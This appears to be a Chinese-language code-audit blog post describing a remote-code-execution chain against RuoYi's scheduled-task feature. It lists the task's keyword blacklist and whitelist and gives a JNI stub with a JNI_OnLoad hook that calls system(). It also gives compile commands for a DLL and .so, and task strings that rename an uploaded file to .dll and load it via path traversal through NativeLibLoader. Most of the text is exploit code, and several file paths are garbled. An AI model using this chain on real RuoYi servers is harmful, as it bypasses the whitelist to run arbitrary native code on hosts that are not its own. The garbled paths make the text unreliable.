Java代审&后台计划任务中的RCE攻击

通过for遍历在通过把主字符串 str 从第 i 个字符开始，截取 len 长度，和 searchStr 的前 len 个字符做 逐个字符比较，支持忽略大小写去匹配是否存在关键字

public static final String[] JOB_ERROR_STR = {"java.net.URL","javax.naming.InitialContext","org.yaml.snakeyaml","org.springframework","org.apache","com.ruoyi.common.utils.file","com.ruoyi.common.config","com.ruoyi.generator"};

public static final String[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" };

package com.ruoyi.system;public class cmd {   public native void exec();}

& "C:Program FilesJavajdk1.8.0_112binjavac.exe" -h . -cp . cmd.java

#include "com_ruoyi_system_cmd.h"#include <string.h>#include <stdio.h>#include <sys/types.h>#include <unistd.h>#include <stdlib.h>JNIEXPORT void JNICALL Java_com_ruoyi_system_cmd_exec(JNIEnv *, jobject){   system("calc");}

gcc -I "C:Program FilesJavajdk1.8.0_112include" -I "C:Program FilesJavajdk1.8.0_112includewin32" -shared -o cmd.dll .cmd.c

gcc -fPIC -I"/root/jdk8/include" -I "/root/jdk8/include/linux" -shared -o rce.so cmd.c

package com.ruoyi.system;public class Text {   public static void main(String[] args) {       System.out.println("Library path: " + System.getProperty("java.library.path"));       System.loadLibrary("cmd");   }}

#include <jni.h>#include <stdio.h>JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {   printf("JNI_OnLoad called! 执行初始化操作n");   // 这里写你想执行的命令，比如启动外部程序、初始化资源等   system("dir"); // Windows示例，Linux可换成"ls"   return JNI_VERSION_1_6;  // 返回JNI版本，必须返回合适的版本}

ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("D:ruoyiuploadPathupload2025�519com.ruoyi.quartz.task_20250519013441A002.txt","D:ruoyiuploadPathupload2025�519com.ruoyi.quartz.task_20250519013441A002.dll");

com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../com.ruoyi.quartz.task_20250519013441A002')

 

 

 

 

 

END